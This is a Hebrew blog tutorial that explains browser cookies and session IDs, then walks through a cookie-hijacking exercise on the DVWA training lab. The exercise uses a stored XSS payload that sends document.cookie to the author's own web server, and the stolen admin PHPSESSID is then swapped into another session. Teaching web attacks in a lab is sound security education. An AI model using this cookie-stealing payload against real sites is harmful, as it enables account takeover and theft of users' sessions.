Home אבטחת מידעPenetration Testing - Offense הסבר על Cookies וביצוע Cookie Hijacking בעזרת DVWA

הסבר על Cookies וביצוע Cookie Hijacking בעזרת DVWA

by Tal Ben Shushan 31/05/2018 0 comment
הסבר על Cookies וביצוע Cookie Hijacking בעזרת DVWA

כל הזכויות שמורות לטל בן שושן – Shushan.co.il

הסבר על Cookies וביצוע Cookie Hijacking בעזרת DVWA

Cookies


על מנת לבצע מאמר זה, יש תחילה לקרוא את המאמרים הבאים:
הסבר והתקנת DVWA

הסבר הגדרה והפעלת Metasploit
פקודות ושימוש ב Metasploit


Cookies עוגיות בעברית הם קבצים היושבים בדפדפן, קבצים אלו משמשים לזיהוי של המשתמש הגולש לאתר.
זאת אומרת כאשר משתמש ניגש לאתר, האתר יוצר עוגיה, מה הוא מכניס לעוגיה? את פרטיו של המשתמש, לדוגמה: המשתמש נכנס לאתר בינלאומי ובחר את השפה שלו, עברית לצורך העניין.
לאחר שהמשתמש בחר בעברית האתר ישמור בתוך העוגיה את העדפות של המשתמש, השפה שהוא בחר, המטבע שהוא בחר, את בחירותיו השונות וזאת על מנת לדעת מה המשתמש מעדיף, איזה קטגוריות באתר ושאר העדפותיו. כך לפחות עבדו כאשר הומצאה העוגיה.

בגלל שלעוגיה יש מגבלה של נפח, חיפשו בוני האתרים שיטה ליצור מצב בו אין להם מגבלה על גודל העוגיה? כך למעשה הם יצרו את ה SessionID, מספר ייחודי לאותו המשתמש שנמצא בעוגיה וברגע שהמשתמש נכנס לאתר, האתר בודק את המזהה בעוגיה ואז ניגש לטבלה בשרת ששם יש את כל הנתונים והעדפות של המשתמש.
רק האתר שיצר את העוגיה יכול לגשת אליו, שכן רק לכתובת האתר הזו יש גישה לעוגיה, אבל תוך כדי הבינו בוני האתרים ובמיוחד מפרסמים, כי ניתן ליצור “עוגיות צד שלישי” זאת אומרת, הכנסתם פרסומת של גוגל לאתרכם הסבר:

ניגשתם לאתר “תיירות בע”מ”
כאשר משתמש ניגש לאתר “תיירות בע”מ” ולוחץ על קטגוריות “חופשה” הפרסומת של גוגל הנמצאת באתר רשמה אצל המשתמש עוגיה, כעת המשתמש סוגר את האתר וניגש לאתר “נופש בחופש” כאשר נכנסתם לאתר ובו יש פרסומות גם של גוגל ולחצתם על חופשה ביוון, העוגיה של גוגל שומרת את המידע הזה וכך יודעת בדיוק מה להציג למשתמש.

בהמשך אתרים התחילו לשמור את ה Session ID, על מנת לזהות משתמש שהתחבר לאתר ולא לבקש ממנו סיסמא בכל פעם שהוא לוחץ על קישור אחר באתר, ברגע שהמשתמש מתחבר, האתר שומר את ה Session ID שלו – מספר ארוך המורכב מאותיות ומספרים.

כאשר אתם לוחצים באתר מסויים “זכור אותי” אתם בעצם אומרים לאתר, שמור אצלך את ה Session ID כך שבפעם הבאה שאני אתחבר תוכל זהות אותי מבלי שאקיש שוב את השם משתמש והסיסמא.

Cookie Hijacking בעזרת DVWA

דרישות:

אחרי שקראתם כיצד XSS עובד ומהו, נתחיל ישירות במדריך

נפעיל בקאלי את הטרמינל ונפעיל את שירות ה apache (על מנת להקים שרת Web)

systemctl start apache2

כעת נעבור ב DVWA ללשונית Stored Cross Site Scripting, זה על מנת שהקוד שנקיש, ברגע שהמשתמש יגיע לעמוד זה, הסקריפט יופעל עליו

לפני הזנת הסקריפט, אנו צריכים להרחיב את כמות  התווים המותרים, נלחץ קליק ימני על התיבה Message (ממש באמצע התיבה, באזור הריק)

ואז Inspect Element, כעת שנו את ה Maxlength ל 200 תווים

כעת נחזור לטרמינל ונקיש

sudo -i
tail -f /var/log/apache2/access.log

ולחצו enter

זאת על מנת שכל משתמש שיכנס לשרת שלנו, נאמר לדף מסויים כמו פה ואז יפעיל סקריפט ששולח לשרת הWeb שלנו את ה Cookie הנוכחי שלו

כעת נקיש את הסקריפט שמבצע את מה שהסברתי בשורה למעלה:

<script>location.href="http://192.168.31.162/cookie_grab?cookies="+document.cookie</script>

כמובן שאתם צריכים להחליף את האייפי שלי בשלכם ולחצו על Sign Guestbook

כעת נסגור את DVWA ונכנס מחדש ונליץ על XSS Stored, נקבל הודעת Hello (אם לא, עברו לכל לשונית אחרת וחזרו ללשונית XSS Stored)

כעת נעבור לחלון הטרמינל, נקבל את ה PHPSESSID – המזהה של החיבור הנמצא בעוגיה

נעתיק את ה PHPSESSID המורכב ממספרים ואותיות

נוכל להדביק אותו בפנקס רשימות (Leafpad)

כעת נפתח דפדפן נוסף מהמחשב הפיזי (אינטרנט אקספלורר, מה שאני אתחבר) או אופרה נתחבר עם המשתמש

gordonb

abc123

לאחר שהתחברתם תוכל לרדת למטה ולהבחין שאתם מחוברים עם גורדון

כעת נלחץ על F12 על מנת לפתוח את כלי המפתחים ושם נעבור ללשונית Storage (אם אין לכם את הלשונית, בצד הכי שמאל יש גלגל שיניים, הוסיפו את Storage כמו בתמונה)

כעת עברו לעוגיות ואז לאתר, נוכל להבחין שקיים כבר PHPSESSID

נעתיק את ה PHPSESSID של המנהל (אנחנו כאשר לחצנו על XSS Stored ואז הפעלנו את הסקריפט שיצרנו)

נחליף אותו ב PHPSESSID הקיים

נבחין שמשתמש עכשיו שאנחנו מחוברים איתו הוא admin כאשר היינו לפני מחוברים עם gordonb

מצויין! הצלחתם לבצע Cookie Hijacking

מאמרים קשורים

Leave a Comment